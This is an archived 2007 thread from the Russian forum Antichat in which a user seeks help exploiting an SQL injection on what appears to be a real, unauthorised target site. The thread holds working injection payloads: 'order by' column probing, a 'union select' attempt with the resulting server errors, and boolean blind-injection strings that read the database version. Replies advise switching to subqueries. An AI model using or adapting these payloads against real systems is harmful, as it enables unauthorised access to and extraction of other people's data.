ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
Вопрос специалистам в sql-injection |

30.12.2007, 23:10
|
|
Новичок
Регистрация: 02.11.2007
Сообщений: 29
Провел на форуме: 114292
Репутация:
9
|
|
Вопрос специалистам в sql-injection
Всем привет. Такой вопрос:
есть sql-injection. При запросе при добавлении к уязвимому параметру:
monthname=december' order by 8/*
выдаётся следующая ошибка:
Код:
Error: Запрос: SELECT SUM(uhits) AS suhits, SUM(vhits) AS svhits, SUM(installs) AS sinstalls, SUM(total) AS stotal, SUM(referals) AS sreferals, SUM(portal) AS sportal, SUM(bonus_inst) AS sbonus_inst FROM stats WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' order by 8/*' Ошибка: Unknown column '8' in 'order clause'
При вводе:
monthname=december' order by 7/* ошибки не выдается, естественно выводится нормальная страница, получается вроде как 7 полей. Однако при
monthname=december' union select 1,2,3,4,5,6,7/*
выводится ошибка вида:
Код:
Error: Запрос: SELECT * FROM stats a WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' union select 1,2,3,4,5,6,7/*' ORDER by -date Ошибка: The used SELECT statements have a different number of columns
Эта же ошибка выводится во всех запросах по типу
monthname=december' union select в кол-ве колонок от 1 до 60, дальше я не пробовал.
Я так понял тут следуют несколько один за одним запросов, как с этим работать?
Надеюсь на Ваши ответы )
Апд:модеры, я запостил здесь потому что ситуация не еденичная и вообще не очень широко освещена в статьях. Тема о том, что и как делать если идут подряд несколько запросов.
Последний раз редактировалось JenJen; 30.12.2007 в 23:39..
|
|
|

30.12.2007, 23:23
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме: 5571194
Репутация:
1934
|
|
monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе?
|
|
|

30.12.2007, 23:37
|
|
Новичок
Регистрация: 02.11.2007
Сообщений: 29
Провел на форуме: 114292
Репутация:
9
|
|
Сообщение от AFoST
monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе?
Никаких, выводится исключительно текст ошибки и всё. Если б выводилось я б не задавал вопросов.
|
|
|

30.12.2007, 23:47
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме: 5571194
Репутация:
1934
|
|
Пока больше никаких идей нет 
|
|
|

30.12.2007, 23:50
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
В твоём случае только подзапросы юзать
|
|
|

30.12.2007, 23:52
|
|
Новичок
Регистрация: 02.11.2007
Сообщений: 29
Провел на форуме: 114292
Репутация:
9
|
|
Сообщение от Spyder
Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
В твоём случае только подзапросы юзать
Да, спасибо я уже это понял.
Может расскажешь как их правильно юзать или дашь ссылку?
|
|
|

31.12.2007, 17:16
|
|
Участник форума
Регистрация: 08.09.2007
Сообщений: 211
Провел на форуме: 5076186
Репутация:
778
|
|
Сообщение от JenJen
Да, спасибо я уже это понял.
Может расскажешь как их правильно юзать или дашь ссылку?
http://forum.antichat.ru/showpost.php?p=537435&postcount=567
брошюрко -> статья ZaCo
|
|
|

31.12.2007, 23:48
|
|
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме: 921520
Репутация:
572
|
|
учти, что в мускулах <4.2 подзапросы не поддерживаются.
|
|
|

01.01.2008, 02:24
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме: 8042357
Репутация:
3742
|
|
не 4.2, а 4.1.. то есть подзапросы появились в 4.1..
monthname=december+and+ascii(substring(version(),1 ,1))>0/*
monthname=december+and+ascii(substring(version(),1 ,1))<0/*
проверь разные ли ответы
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

01.01.2008, 04:03
|
|
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме: 921520
Репутация:
572
|
|
Да, спасибо за поправку,
с Наступившим.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|